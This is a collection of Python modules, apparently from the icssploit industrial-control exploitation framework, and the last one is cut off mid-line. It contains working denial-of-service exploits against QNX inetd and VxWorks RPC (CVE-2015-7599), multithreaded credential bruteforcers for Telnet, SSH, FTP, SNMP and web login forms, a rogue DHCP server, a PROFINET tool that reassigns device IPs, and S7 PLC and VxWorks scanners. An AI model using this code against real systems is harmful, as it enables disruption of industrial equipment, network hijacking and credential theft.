class Exploit(exploits.Exploit): __info__ = { 'name': 'S7Plus PLC Scan', 'authors': [ 'wenzhe zhu <jtrkid[at]gmail.com>' # icssploit module ], 'description': 'Scan all S7 1200/1500 PLC with s7comm plus version 1 protocol.', 'references': [], } target = exploits.Option( '', "string for hosts as nmap use it 'scanme.nmap.org'" " or '198.116.0-255.1-127' or '216.163.128.20/20'") port = exploits.Option(102, 'S7comm port, default is 102/TCP', validators=validators.integer) verbose = exploits.Option(0, 'Scapy verbose level, 0 to 2', validators=validators.integer) result = [] def get_target_info(self, host, port): ip_address = host try: target = S7PlusClient(name='S7Scanner', ip=host, port=port) target.connect() order_code, serial_number, hardware_version, firmware_version = target.get_target_info( ) if order_code != '': self.result.append([ order_code, serial_number, hardware_version, firmware_version, ip_address ]) except Exception as err: print_error(err) return False def run(self): self.result = [] conf.verb = self.verbose nm = port_scan(protocol='TCP', target=self.target, port=self.port) for host in nm.all_hosts(): if nm[host]['tcp'][self.port]['state'] == "open": print_success("Host: %s, port:%s is open" % (host, self.port)) self.get_target_info(host=host, port=self.port) unique_device = [list(x) for x in set(tuple(x) for x in self.result)] if len(self.result) > 0: print_success("Find %s targets" % len(self.result)) print_table(TABLE_HEADER, *unique_device) print('\r') else: print_error("Didn't find any target on network %s" % self.target) def command_export(self, file_path, *args, **kwargs): unique_device = [list(x) for x in set(tuple(x) for x in self.result)] unique_device = sorted(unique_device) export_table(file_path, TABLE_HEADER, unique_device)
class Exploit(exploits.Exploit): __info__ = { 'name': 'Crash QNX Inetd tcp service', 'authors': [ 'wenzhe zhu <jtrkid[at]gmail.com>', ], 'description': 'Crash the tcp service started with inetd.', 'references': ['https://gist.github.com/dark-lbp/e26c4493b687ea9b345f46e002e4d9a8'], 'devices': [ 'QNX SDP 660', ], } target = exploits.Option('', 'Target address e.g. 192.168.1.1', validators=validators.ipv4) port = exploits.Option(22, 'Target Port', validators=validators.integer) def exploit(self): for i in range(60): try: sock = socket.socket() sock.connect((self.target, self.port)) sock.send('A' * 100) time.sleep(0.1) except Exception: break def run(self): if self._check_alive(): print_success("Target is alive") print_status("Sending packet to target") self.exploit() if not self._check_alive(): print_success("Target port is down") else: print_error("Target port is not alive") @mute # TODO: Add check later def check(self): pass def _check_alive(self): try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(1) sock.connect((self.target, self.port)) sock.close() except Exception: return False return True
class Exploit(exploits.Exploit): """ Module performs bruteforce attack against Telnet service. If valid credentials are found, they are displayed to the user. """ __info__ = { 'name': 'Telnet Bruteforce', 'description': 'Module performs bruteforce attack against Telnet service. ' 'If valid credentials are found, they are displayed to the user.', 'authors': [ 'Marcin Bury <marcin.bury[at]reverse-shell.com>', # icssploit module ], 'references': [ '', ], 'devices': [ 'Multi', ], } target = exploits.Option( '', 'Target IP address or file with target:port (file://)') port = exploits.Option(23, 'Target port') threads = exploits.Option(8, 'Number of threads') usernames = exploits.Option('admin', 'Username or file with usernames (file://)') passwords = exploits.Option(wordlists.passwords, 'Password or file with passwords (file://)') verbosity = exploits.Option('yes', 'Display authentication attempts') stop_on_success = exploits.Option( 'yes', 'Stop on first valid authentication attempt') credentials = [] def run(self): self.credentials = [] self.attack() @multi def attack(self): try: tn = telnetlib.Telnet(self.target, self.port) tn.expect(["login: "******"Login: "******"Connection error {}:{}".format( self.target, self.port)) return if self.usernames.startswith('file://'): usernames = open(self.usernames[7:], 'r') else: usernames = [self.usernames] if self.passwords.startswith('file://'): passwords = open(self.passwords[7:], 'r') else: passwords = [self.passwords] collection = LockedIterator(itertools.product(usernames, passwords)) self.run_threads(self.threads, self.target_function, collection) if len(self.credentials): print_success("Credentials found!") headers = ("Target", "Port", "Login", "Password") print_table(headers, *self.credentials) else: print_error("Credentials not found") def target_function(self, running, data): module_verbosity = boolify(self.verbosity) name = threading.current_thread().name print_status(name, 'thread is starting...', verbose=module_verbosity) while running.is_set(): try: user, password = data.next() user = user.strip() password = password.strip() except StopIteration: break else: retries = 0 while retries < 3: try: tn = telnetlib.Telnet(self.target, self.port) tn.expect(["Login: "******"login: "******"\r\n") tn.expect(["Password: "******"password"], 5) tn.write(password + "\r\n") tn.write("\r\n") (i, obj, res) = tn.expect(["Incorrect", "incorrect"], 5) tn.close() if i != -1: print_error( "Target: {}:{} {}: Authentication Failed - Username: '******' Password: '******'" .format(self.target, self.port, name, user, password), verbose=module_verbosity) else: if any(map(lambda x: x in res, [ "#", "$", ">" ])) or len(res) > 500: # big banner e.g. mikrotik if boolify(self.stop_on_success): running.clear() print_success( "Target: {}:{} {}: Authentication Succeed - Username: '******' Password: '******'" .format(self.target, self.port, name, user, password), verbose=module_verbosity) self.credentials.append( (self.target, self.port, user, password)) tn.close() break except EOFError: print_error(name, "Connection problem. Retrying...", verbose=module_verbosity) retries += 1 if retries > 2: print_error( "Too much connection problems. Quiting...", verbose=module_verbosity) return continue print_status(name, 'thread is terminated.', verbose=module_verbosity)
class Exploit(exploits.Exploit): """ Module performs bruteforce attack against SNMP service. If valid community string is found, it is displayed to the user. """ __info__ = { 'name': 'SNMP Bruteforce', 'description': 'Module performs bruteforce attack against SNMP service. ' 'If valid community string is found, it is displayed to the user.', 'authors': [ 'Marcin Bury <marcin.bury[at]reverse-shell.com>', # icssploit module ], 'references': [ '', ], 'devices': [ 'Multi', ], } target = exploits.Option( '', 'Target IP address or file with target:port (file://)') port = exploits.Option(161, 'Target port', validators=validators.integer) version = exploits.Option(2, 'Snmp version 1:v1, 2:v2c', validators=validators.integer) threads = exploits.Option(8, 'Number of threads') snmp = exploits.Option( wordlists.snmp, 'Community string or file with community strings (file://)') verbosity = exploits.Option('yes', 'Display authentication attempts') stop_on_success = exploits.Option('yes', 'Stop on first valid community string') strings = [] def run(self): self.strings = [] self.attack() @multi def attack(self): # todo: check if service is up if self.snmp.startswith('file://'): snmp = open(self.snmp[7:], 'r') else: snmp = [self.snmp] collection = LockedIterator(snmp) self.run_threads(self.threads, self.target_function, collection) if len(self.strings): print_success("Credentials found!") headers = ("Target", "Port", "Community Strings") print_table(headers, *self.strings) else: print_error("Valid community strings not found") def target_function(self, running, data): module_verbosity = boolify(self.verbosity) name = threading.current_thread().name print_status(name, 'thread is starting...', verbose=module_verbosity) cmdGen = cmdgen.CommandGenerator() while running.is_set(): try: string = data.next().strip() errorIndication, errorStatus, errorIndex, varBinds = cmdGen.getCmd( cmdgen.CommunityData(string, mpModel=self.version - 1), cmdgen.UdpTransportTarget((self.target, self.port)), '1.3.6.1.2.1.1.1.0', ) if errorIndication or errorStatus: print_error( "Target: {}:{} {}: Invalid community string - String: '{}'" .format(self.target, self.port, name, string), verbose=module_verbosity) else: if boolify(self.stop_on_success): running.clear() print_success( "Target: {}:{} {}: Valid community string found - String: '{}'" .format(self.target, self.port, name, string), verbose=module_verbosity) self.strings.append((self.target, self.port, string)) except StopIteration: break print_status(name, 'thread is terminated.', verbose=module_verbosity)
class Exploit(exploits.Exploit): __info__ = { 'name': 'Fake DHCP Server', 'authors': [ 'wenzhe zhu <jtrkid[at]gmail.com>', ], 'description': 'Create a fake dhcp server.', 'references': [], 'devices': [], } target = exploits.Option( 'ff:ff:ff:ff:ff:ff', 'Target mac address(default value mean offer ip to any mac) ' 'e.g. 40:6c:8f:ff:ff:ff', validators=validators.mac) nic = exploits.Option('eth0', 'Interface Name e.g eth0, en0') client_ip_range = exploits.Option( '192.168.1.100-200', 'Client ip range e.g. 192.168.1.100-200') client_net_mask = exploits.Option('255.255.255.0', 'Target network mask e.g. 255.255.255.0', validators=validators.ipv4) client_gateway = exploits.Option('192.168.1.1', 'Target gateway e.g. 192.168.1.1', validators=validators.ipv4) client_dns = exploits.Option('192.168.1.1', 'Target dns e.g. 192.168.1.1', validators=validators.ipv4) dhcp_server_ip = exploits.Option('192.168.1.1', 'Target address e.g. 192.168.1.1', validators=validators.ipv4) server_mac = 'ff:ff:ff:ff:ff:ff' ip_address_pool = {} def create_ip_address_pool(self): ip_address_list = [] if re.match("(?:[0-9]{1,3}\.){3}[0-9]{1,3}(-[0-9]{1,3})?", str(self.client_ip_range)): try: start_address = validators.ipv4( self.client_ip_range.split('-')[0]) end_address = self.client_ip_range.split('-')[-1] if re.match("[0-9]{1,3}", end_address) and len(end_address) < 4: end_address = start_address[:start_address.rfind('.') + 1] + end_address try: if end_address == start_address: ip_address_list.append(start_address) else: for ip_address in range( struct.unpack( '!I', socket.inet_pton(socket.AF_INET, start_address))[0], struct.unpack( '!I', socket.inet_pton(socket.AF_INET, end_address))[0]): ip_address_list.append( socket.inet_ntop(socket.AF_INET, struct.pack('!I', ip_address))) except AttributeError: for ip_address in range( struct.unpack('!I', socket.inet_aton(start_address))[0], struct.unpack('!I', socket.inet_aton(end_address))[0]): ip_address_list.append( socket.inet_ntop(socket.AF_INET, struct.pack('!I', ip_address))) for ip_address in ip_address_list: self.ip_address_pool[ip_address] = "" except validators.OptionValidationError: raise validators.OptionValidationError( "Option have to be valid IP address range.") except Exception: raise validators.OptionValidationError( "Option have to be valid IP address range.") else: raise validators.OptionValidationError( "Option have to be valid IP address range.") def chose_ip_to_offer(self, mac_address): unused_ip_address = [] for ip_address in self.ip_address_pool.keys(): if self.ip_address_pool[ip_address] == "": unused_ip_address.append(ip_address) elif self.ip_address_pool[ip_address] == mac_address: return ip_address if len(unused_ip_address) > 0: return unused_ip_address[0] else: print_error("All ip address is offer") return None def detect_dhcp(self, pkt): # If DHCP Discover then DHCP Offer if pkt[DHCP] and pkt[DHCP].options[0][1] == 1: print_status("DHCP Discover packet detected with mac address:%s" % pkt.src) client_ip = self.chose_ip_to_offer(pkt.src) if client_ip: packet = Ether(src=self.server_mac, dst="ff:ff:ff:ff:ff:ff") / \ IP(src=self.dhcp_server_ip, dst="255.255.255.255") / \ UDP(sport=67, dport=68) / \ BOOTP( op=2, yiaddr=client_ip, siaddr=self.client_gateway, # giaddr=server_ip, chaddr=pkt.src, xid=pkt[BOOTP].xid, sname='DHCPServer' ) / \ DHCP(options=[('message-type', 'offer')]) / \ DHCP(options=[('subnet_mask', self.client_net_mask)]) / \ DHCP(options=[('name_server', self.client_dns)]) / \ DHCP(options=[('server_id', self.dhcp_server_ip), ('end')]) sendp(packet, iface=self.nic) print_success("DHCP Offer packet sent.") print_success( "DHCP Offer to target:%s\nIP:%s\nNetMask:%s\nGateWay:%s\nDNS:%s.\n" % (pkt.src, client_ip, self.client_net_mask, self.client_gateway, self.client_dns)) # If DHCP Request then DHCP Ack if pkt[DHCP] and pkt[DHCP].options[0][1] == 3: print_status("DHCP Request packet detected with mac address:%s" % pkt.src) client_ip = self.chose_ip_to_offer(pkt.src) if client_ip: packet = Ether(src=self.server_mac, dst=pkt.src) / \ IP(src=self.dhcp_server_ip, dst=client_ip) / \ UDP(sport=67, dport=68) / \ BOOTP(op=2, yiaddr=client_ip, siaddr=self.dhcp_server_ip, giaddr=self.client_gateway, chaddr=pkt.src, xid=pkt[BOOTP].xid ) / \ DHCP(options=[('message-type', 'ack')]) / \ DHCP(options=[('subnet_mask', self.client_net_mask)]) / \ DHCP(options=[('name_server', self.client_dns)]) / \ DHCP(options=[('server_id', self.dhcp_server_ip), ('end')]) sendp(packet, iface=self.nic) print_success( "DHCP Ack to target:%s\nIP:%s\nNetMask:%s\nGateWay:%s\nDNS:%s." % (pkt.src, client_ip, self.client_net_mask, self.client_gateway, self.client_dns)) print_success("DHCP Ack packet sent\n\nCtrl+C to exit\n") def run(self): self.create_ip_address_pool() self.server_mac = get_if_hwaddr(self.nic) if self.target == 'ff:ff:ff:ff:ff:ff': sniff(filter="udp and (port 67 or 68)", prn=self.detect_dhcp, store=0, iface=self.nic) else: sniff(filter="udp and (port 67 or 68) and (ether src host %s)" % self.target, prn=self.detect_dhcp, store=0, iface=self.nic) @mute # TODO: Add check later def check(self): pass
class Exploit(exploits.Exploit): __info__ = { 'name': 'profinet device ip setup', 'authors': [ 'wenzhe zhu <jtrkid[at]gmail.com>' # icssploit module ], 'description': 'Setup target ip address with PROFINET-DCP protocol.', 'references': [ ], } nic = exploits.Option('eth0', 'Interface Name e.g eth0, en0') target = exploits.Option('40:6c:8f:ff:ff:ff', 'Target mac address, e.g. 40:6c:8f:ff:ff:ff', validators=validators.mac) target_ip = exploits.Option('192.168.1.100', 'IP Address to set', validators=validators.ipv4) target_netmask = exploits.Option('255.255.255.0', 'Network mask to set', validators=validators.ipv4) target_gateway = exploits.Option('0.0.0.0', 'Gateway to set', validators=validators.ipv4) timeout = exploits.Option(3, 'Timeout for response', validators=validators.integer) verbose = exploits.Option(0, 'Scapy verbose level, 0 to 2', validators=validators.integer) sniff_mac_address = None sniff_finished = threading.Event() result = [] def sniff_answer(self): self.sniff_finished.clear() response = sniff(iface=self.nic, filter="ether dst host %s" % self.sniff_mac_address, timeout=self.timeout) self.result = [] for i in range(len(response)): pkt = response[i] if pkt[Ether].dst == self.sniff_mac_address: Device_Name = '' Device_Type = '' MAC_Address = pkt[Ether].src IP_Address = '' Netmask = '' GateWay = '' if pkt.haslayer(PNDCPIdentDeviceNameOfStationResponseBlock): Device_Name = pkt[PNDCPIdentDeviceNameOfStationResponseBlock].NameOfStation if pkt.haslayer(PNDCPIdentDeviceManufacturerSpecificResponseBlock): Device_Type = pkt[PNDCPIdentDeviceManufacturerSpecificResponseBlock].DeviceVendorValue if pkt.haslayer(PNDCPIdentIPParameterResponseBlock): IP_Address = pkt[PNDCPIdentIPParameterResponseBlock].IPaddress Netmask = pkt[PNDCPIdentIPParameterResponseBlock].Subnetmask GateWay = pkt[PNDCPIdentIPParameterResponseBlock].StandardGateway self.result.append([Device_Name, Device_Type, MAC_Address, IP_Address, Netmask, GateWay]) self.sniff_finished.set() def exploit(self, target_mac): packet = Ether(src=self.sniff_mac_address, dst=target_mac, type=0x8892) / \ ProfinetIO(frameID=0xFEFD) / PNDCPHeader(ServiceID=4, ServiceType=0, DCPBlocks=[PNDCPSetRequest(Option=0x01, SubOption=0x02)]) packet[PNDCPHeader].DCPBlocks[0].DCPBlock = PNDCPSetIPParameterRequestBlock( IPaddress=self.target_ip, Subnetmask=self.target_netmask, StandardGateway=self.target_gateway ) sendp(packet, iface=self.nic) def scan_target_ip(self, target_mac): p = threading.Thread(target=self.sniff_answer) p.setDaemon(True) p.start() packet = Ether(src=self.sniff_mac_address, dst=target_mac, type=0x8892) / ProfinetIO(frameID=0xFEFE) / \ PNDCPHeader(ServiceID=5, ServiceType=0, DCPBlocks=[PNDCPIdentRequest()]) sendp(packet, iface=self.nic) self.sniff_finished.wait(self.timeout + 1) unique_device = [list(x) for x in set(tuple(x) for x in self.result)] print(tabulate.tabulate(unique_device, headers=TABLE_HEADER)) print('\n') def run(self): conf.verb = self.verbose self.sniff_mac_address = get_if_hwaddr(self.nic) self.scan_target_ip(self.target) if len(self.result) == 0: print_error("Didn't find any device, please check target mac address.") return print_status("Please make sure target device info is correct.") print_status("Do you want setup target with\n ip address: %s\n network mask: %s\n gateway:%s\n" % ( self.target_ip, self.target_netmask, self.target_gateway )) ans = raw_input("Y/y to confirm, other to cancel.\n:") if ans.upper() == "Y": self.exploit(target_mac=self.target) self.scan_target_ip(self.target) # TODO: need some other method to check setup is success or not. if len(self.result) == 0: print_error("Setup target ip failed.") return if self.result[0][3] != self.target_ip \ or self.result[0][4] != self.target_netmask \ or self.result[0][5] != self.target_gateway: print_error("Setup target ip failed.") return else: print_success("Setup target ip succeeded")
class Exploit(exploits.Exploit): """ Module performs bruteforce attack against SSH service. If valid credentials are found, they are displayed to the user. """ __info__ = { 'name': 'SSH Bruteforce', 'description': 'Module performs bruteforce attack against SSH service. ' 'If valid credentials are found, they are displayed to the user.', 'authors': [ 'Marcin Bury <marcin.bury[at]reverse-shell.com>', # icssploit module ], 'references': [ '', ], 'devices': [ 'Multi', ], } target = exploits.Option( '', 'Target IP address or file with target:port (file://)') port = exploits.Option(22, 'Target port') threads = exploits.Option(8, 'Number of threads') usernames = exploits.Option('admin', 'Username or file with usernames (file://)') passwords = exploits.Option(wordlists.passwords, 'Password or file with passwords (file://)') verbosity = exploits.Option('yes', 'Display authentication attempts') stop_on_success = exploits.Option( 'yes', 'Stop on first valid authentication attempt') credentials = [] def run(self): self.credentials = [] self.attack() @multi def attack(self): ssh = paramiko.SSHClient() try: ssh.connect(self.target, port=self.port) except socket.error: print_error("Connection error: %s:%s" % (self.target, str(self.port))) ssh.close() return except: pass ssh.close() if self.usernames.startswith('file://'): usernames = open(self.usernames[7:], 'r') else: usernames = [self.usernames] if self.passwords.startswith('file://'): passwords = open(self.passwords[7:], 'r') else: passwords = [self.passwords] collection = LockedIterator(itertools.product(usernames, passwords)) self.run_threads(self.threads, self.target_function, collection) if len(self.credentials): print_success("Credentials found!") headers = ("Target", "Port", "Login", "Password") print_table(headers, *self.credentials) else: print_error("Credentials not found") def target_function(self, running, data): module_verbosity = boolify(self.verbosity) name = threading.current_thread().name ssh = paramiko.SSHClient() ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) print_status(name, 'thread is starting...', verbose=module_verbosity) while running.is_set(): try: user, password = data.next() user = user.strip() password = password.strip() ssh.connect(self.target, int(self.port), timeout=5, username=user, password=password) except StopIteration: break except paramiko.ssh_exception.SSHException as err: ssh.close() print_error( "Target: {}:{} {}: {} Username: '******' Password: '******'". format(self.target, self.port, name, err, user, password), verbose=module_verbosity) else: if boolify(self.stop_on_success): running.clear() print_success( "Target: {}:{} {} Authentication Succeed - Username: '******' Password: '******'" .format(self.target, self.port, name, user, password), verbose=module_verbosity) self.credentials.append( (self.target, self.port, user, password)) print_status(name, 'thread is terminated.', verbose=module_verbosity)
class Exploit(exploits.Exploit): """ Exploit implementation for All Vxworks system which Remote Procedure Call (RPC) protocols is enabled. """ __info__ = { 'name': 'Vxworks RPC integer overflow dos', 'authors': [ 'Yannick Formaggio <https://github.com/yformaggio>', # vulnerability discovery 'wenzhe zhu <jtrkid[at]gmail.com>' # icssploit module ], 'description': 'Integer overflow in the _authenticate function in svc_auth.c in ' 'Wind River VxWorks 5.5 through 6.9.4.1, when the Remote Procedure Call (RPC) ' 'protocols is enabled, allows remote attackers to cause a denial of service (crash)' 'or possibly execute arbitrary code via a username and password.', 'references': [ 'https://nvd.nist.gov/vuln/detail/CVE-2015-7599', ], 'devices': [ 'Wind River VxWorks 5.5 through 6.9.4.1', ], } target = exploits.Option('', 'Target address e.g. 192.168.1.1', validators=validators.ipv4) port = exploits.Option(111, 'Target port', validators=validators.integer) def exploit(self): for i in range(20): pkt = pack( "!IIIIIIIIIII", 0x80000030, # fragment header random.randint(1, 2 ** 32 - 1), # xid 0, # message type 2, # rpc version 0x100000, # program random.randint(1, 2 ** 32 - 1), # program version 0, # procedure random.randint(1, 2 ** 32 - 1), # credential flavor 0, # credential length 0, # verifier 0, ) try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(2) sock.connect((self.target, self.port)) sock.send(pkt) sock.close() except Exception as err: return def run(self): if self._check_alive(): print_success("RPC port is open") print_status("Sending packet to target") self.exploit() time.sleep(3) # wait target crash if not self._check_alive(): print_success("Target is down") else: print_error("Target is not vulnerable") else: print_error("Target is not vulnerable") return def _check_alive(self): try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(1) sock.connect((self.target, self.port)) sock.close() except Exception as err: print(err) return False return True
class Exploit(exploits.Exploit): """ Module performs bruteforce attack against FTP service. If valid credentials are found, they are displayed to the user. """ __info__ = { 'name': 'FTP Bruteforce', 'description': 'Module performs bruteforce attack against FTP service.' 'If valid credentials are found, they are displayed to the user.', 'authors': [ 'Marcin Bury <marcin.bury[at]reverse-shell.com>', # icssploit module ], 'references': [ '', ], 'devices': [ 'Multi', ], } target = exploits.Option( '', 'Target IP address or file with target:port (file://)') port = exploits.Option(21, 'Target port') threads = exploits.Option(8, 'Number of threads') usernames = exploits.Option('admin', 'Username or file with usernames (file://)') passwords = exploits.Option(wordlists.passwords, 'Password or file with passwords (file://)') verbosity = exploits.Option('yes', 'Display authentication attempts') stop_on_success = exploits.Option( 'yes', 'Stop on first valid authentication attempt') credentials = [] def run(self): self.credentials = [] self.attack() @multi def attack(self): ftp = ftplib.FTP() try: ftp.connect(self.target, port=int(self.port), timeout=10) except (socket.error, socket.timeout): print_error("Connection error: %s:%s" % (self.target, str(self.port))) ftp.close() return except: pass ftp.close() if self.usernames.startswith('file://'): usernames = open(self.usernames[7:], 'r') else: usernames = [self.usernames] if self.passwords.startswith('file://'): passwords = open(self.passwords[7:], 'r') else: passwords = [self.passwords] collection = LockedIterator(itertools.product(usernames, passwords)) self.run_threads(self.threads, self.target_function, collection) if len(self.credentials): print_success("Credentials found!") headers = ("Target", "Port", "Login", "Password") print_table(headers, *self.credentials) else: print_error("Credentials not found") def target_function(self, running, data): module_verbosity = boolify(self.verbosity) name = threading.current_thread().name print_status(name, 'process is starting...', verbose=module_verbosity) ftp = ftplib.FTP() while running.is_set(): try: user, password = data.next() user = user.strip() password = password.strip() except StopIteration: break else: retries = 0 while retries < 3: try: ftp.connect(self.target, port=int(self.port), timeout=10) break except (socket.error, socket.timeout): print_error( "{} Connection problem. Retrying...".format(name), verbose=module_verbosity) retries += 1 if retries > 2: print_error( "Too much connection problems. Quiting...", verbose=module_verbosity) return try: ftp.login(user, password) if boolify(self.stop_on_success): running.clear() print_success( "Target: {}:{} {}: Authentication succeed - Username: '******' Password: '******'" .format(self.target, self.port, name, user, password), verbose=module_verbosity) self.credentials.append( (self.target, self.port, user, password)) except: print_error( "Target: {}:{} {}: Authentication Failed - Username: '******' Password: '******'" .format(self.target, self.port, name, user, password), verbose=module_verbosity) ftp.close() print_status(name, 'process is terminated.', verbose=module_verbosity)
class Exploit(exploits.Exploit): __info__ = { 'name': 'vxworks 6.x device scan', 'authors': [ 'wenzhe zhu <jtrkid[at]gmail.com>' # icssploit module ], 'description': 'Scan all vxworks 6.x device with wdbrpc version 2 protocol.', 'references': [], } target = exploits.Option( '', "string for hosts as nmap use it 'scanme.nmap.org'" " or '198.116.0-255.1-127' or '216.163.128.20/20'") port = exploits.Option(17185, 'WdbRPC port, default is 17185/UDP', validators=validators.integer) verbose = exploits.Option(0, 'Scapy verbose level, 0 to 2', validators=validators.integer) result = [] def scan(self, protocol): nm = nmap.PortScanner() try: if protocol == "tcp" or protocol == "TCP": nm.scan(hosts=self.target, ports=str(self.port), arguments='-n -sT ') return nm elif protocol == "udp" or protocol == "UDP": print_status( "UDP Scan requires root privileges will using sudo to scan target " ) nm.scan(hosts=self.target, ports=str(self.port), arguments='-n -sU ', sudo=True) return nm except Exception as err: print_error(err) return None @staticmethod def sizeof_fmt(num, suffix='B'): for unit in ['', 'K', 'M', 'G', 'T', 'P', 'E', 'Z']: if abs(num) < 1024.0: return "%3.1f%s%s" % (num, unit, suffix) num /= 1024.0 return "%.1f%s%s" % (num, 'Yi', suffix) def get_target_info(self, host, port): target_type = '' vxworks_version = '' cpu_type = '' cpu_model = '' memory_size = '' ip_address = host try: target = Wdb2Client(name='Vxworks_6.6', ip=host, port=self.port) target.connect() target.get_target_info() target_type = target.target_info['Target_Type'] vxworks_version = target.target_info['Vx_Version'] cpu_type = target.target_info['CPU_Type'] cpu_model = target.target_info['CPU_Model'] memory_size = self.sizeof_fmt(target.target_info['Memory_Size']) ip_address = host self.result.append([ target_type, vxworks_version, cpu_type, cpu_model, memory_size, ip_address ]) except Exception as err: print_error(err) return False def run(self): conf.verb = self.verbose nm = self.scan(protocol='UDP') for host in nm.all_hosts(): if nm[host]['udp'][self.port]['state'] == "open": print_success("Host: %s, port:%s is open" % (host, self.port)) self.get_target_info(host=host, port=self.port) unique_device = [list(x) for x in set(tuple(x) for x in self.result)] print tabulate.tabulate(unique_device, headers=TABLE_HEADER)
class Exploit(exploits.Exploit): """ Module performs dictionary attack with default credentials against HTTP form service. If valid credentials are found, they are displayed to the user. """ __info__ = { 'name': 'HTTP Form Default Creds', 'description': 'Module performs dictionary attack with default credentials against HTTP form service. ' 'If valid credentials are found, they are displayed to the user.', 'authors': [ 'Marcin Bury <marcin.bury[at]reverse-shell.com>', # icssploit module ], 'references': [ '', ], 'devices': [ 'Multi', ], } target = exploits.Option( '', 'Target IP address or file with target:port (file://)') port = exploits.Option(80, 'Target port') threads = exploits.Option(8, 'Number of threads') defaults = exploits.Option( wordlists.defaults, 'User:Pass or file with default credentials (file://)') form = exploits.Option( 'auto', 'Post Data: auto or in form login={{USER}}&password={{PASS}}&submit') path = exploits.Option('/login.php', 'URL Path') form_path = exploits.Option('same', 'same as path or URL Form Path') verbosity = exploits.Option('yes', 'Display authentication attempts') stop_on_success = exploits.Option( 'yes', 'Stop on first valid authentication attempt') credentials = [] data = "" invalid = {"min": 0, "max": 0} def run(self): self.credentials = [] self.attack() def get_form_path(self): if self.form_path == 'same': return self.path else: return self.form_path @multi def attack(self): url = sanitize_url("{}:{}{}".format(self.target, self.port, self.get_form_path())) try: requests.get(url, verify=False) except (requests.exceptions.MissingSchema, requests.exceptions.InvalidSchema): print_error("Invalid URL format: %s" % url) return except requests.exceptions.ConnectionError: print_error("Connection error: %s" % url) return # authentication type if self.form == 'auto': form_data = self.detect_form() if form_data is None: print_error("Could not detect form") return (form_action, self.data) = form_data if form_action: self.path = form_action else: self.data = self.form print_status("Attacking: ", self.path) print_status("Using following data: ", self.data) # invalid authentication self.invalid_auth() # running threads if self.defaults.startswith('file://'): defaults = open(self.defaults[7:], 'r') else: defaults = [self.defaults] collection = LockedIterator(defaults) self.run_threads(self.threads, self.target_function, collection) if len(self.credentials): print_success("Credentials found!") headers = ("Target", "Port", "Login", "Password") print_table(headers, *self.credentials) else: print_error("Credentials not found") def invalid_auth(self): for i in range(0, 21, 5): url = sanitize_url("{}:{}{}".format(self.target, self.port, self.path)) headers = {u'Content-Type': u'application/x-www-form-urlencoded'} user = "******" * i password = "******" * i postdata = self.data.replace("{{USER}}", user).replace("{{PASS}}", password) r = requests.post(url, headers=headers, data=postdata, verify=False) l = len(r.text) if i == 0: self.invalid = {"min": l, "max": l} if l < self.invalid["min"]: self.invalid["min"] = l elif l > self.invalid["max"]: self.invalid["max"] = l def detect_form(self): url = sanitize_url("{}:{}{}".format(self.target, self.port, self.get_form_path())) r = requests.get(url, verify=False) soup = BeautifulSoup(r.text, "lxml") forms = soup.findAll("form") if forms is None: return None res = [] action = None user_name_list = [ "username", "user", "user_name", "login", "username_login", "nameinput", "uname", "__auth_user", "txt_user", "txtusername" ] password_list = [ "password", "pass", "password_login", "pwd", "passwd", "__auth_pass", "txt_pwd", "txtpwd" ] found = False for form in forms: tmp = [] if not len(form): continue action = form.attrs.get('action', None) if action and not action.startswith("/"): action = "/" + action for inp in form.findAll("input"): attributes = ["name", "id"] for atr in attributes: if atr not in inp.attrs.keys(): continue if inp.attrs[atr].lower( ) in user_name_list and inp.attrs['type'] != "hidden": found = True tmp.append(inp.attrs[atr] + "=" + "{{USER}}") elif inp.attrs[atr].lower( ) in password_list and inp.attrs['type'] != "hidden": found = True tmp.append(inp.attrs[atr] + "=" + "{{PASS}}") else: if 'value' in inp.attrs.keys(): tmp.append(inp.attrs[atr] + "=" + inp.attrs['value']) elif inp.attrs['type'] not in ("submit", "button"): tmp.append(inp.attrs[atr] + "=") if found: res = tmp res = list(set(res)) return (action, '&'.join(res)) def target_function(self, running, data): module_verbosity = boolify(self.verbosity) name = threading.current_thread().name url = sanitize_url("{}:{}{}".format(self.target, self.port, self.path)) headers = {u'Content-Type': u'application/x-www-form-urlencoded'} print_status(name, 'process is starting...', verbose=module_verbosity) while running.is_set(): try: line = data.next().split(":") user = line[0].strip() password = line[1].strip() postdata = self.data.replace("{{USER}}", user).replace( "{{PASS}}", password) r = requests.post(url, headers=headers, data=postdata, verify=False) l = len(r.text) if l < self.invalid["min"] or l > self.invalid["max"]: if boolify(self.stop_on_success): running.clear() print_success( "Target: {}:{} {}: Authentication Succeed - Username: '******' Password: '******'" .format(self.target, self.port, name, user, password), verbose=module_verbosity) self.credentials.append( (self.target, self.port, user, password)) else: print_error( "Target: {}:{} {}: Authentication Failed - Username: '******' Password: '******'" .format(self.target, self.port, name, user, password), verbose=module_verbosity) except StopIteration: break print_status(name, 'process is terminated.', verbose=module_verbosity)
class Exploit(exploits.Exploit): __info__ = { 'name': 'S7comm PLC Scan', 'authors': [ 'wenzhe zhu <jtrkid[at]gmail.com>' # icssploit module ], 'description': 'Scan all S7 300/400 PLC with s7comm protocol.', 'references': [], } target = exploits.Option( '', "string for hosts as nmap use it 'scanme.nmap.org'" " or '198.116.0-255.1-127' or '216.163.128.20/20'") port = exploits.Option(102, 'S7comm port, default is 102/TCP', validators=validators.integer) verbose = exploits.Option(0, 'Scapy verbose level, 0 to 2', validators=validators.integer) min_rack = exploits.Option( 0, 'Minimum PLC Rack number for scan, default is 0, set to 1 ' 'if you want start with rack 1', validators=validators.integer) max_rack = exploits.Option( 0, 'Maximum PLC Rack number for scan, default is 0, set to 1 ' 'if you want scan up to rack 1', validators=validators.integer) min_slot = exploits.Option( 2, 'Minimum PLC Slot number for scan, default is 2, set to 4 ' 'if you want start with slot 4', validators=validators.integer) max_slot = exploits.Option( 5, 'Maximum PLC Slot number for scan, default is 5, set to 10 ' 'if you want scan up to slot 5', validators=validators.integer) result = [] def scan(self, protocol): nm = nmap.PortScanner() try: if protocol == "tcp" or protocol == "TCP": nm.scan(hosts=self.target, ports=str(self.port), arguments='-n -sT ') return nm elif protocol == "udp" or protocol == "UDP": print_status( "UDP Scan requires root privileges will using sudo to scan target " ) nm.scan(hosts=self.target, ports=str(self.port), arguments='-n -sU ', sudo=True) return nm except Exception as err: print_error(err) return None def get_target_info(self, host, port): for rack_num in range(self.min_rack, self.max_rack + 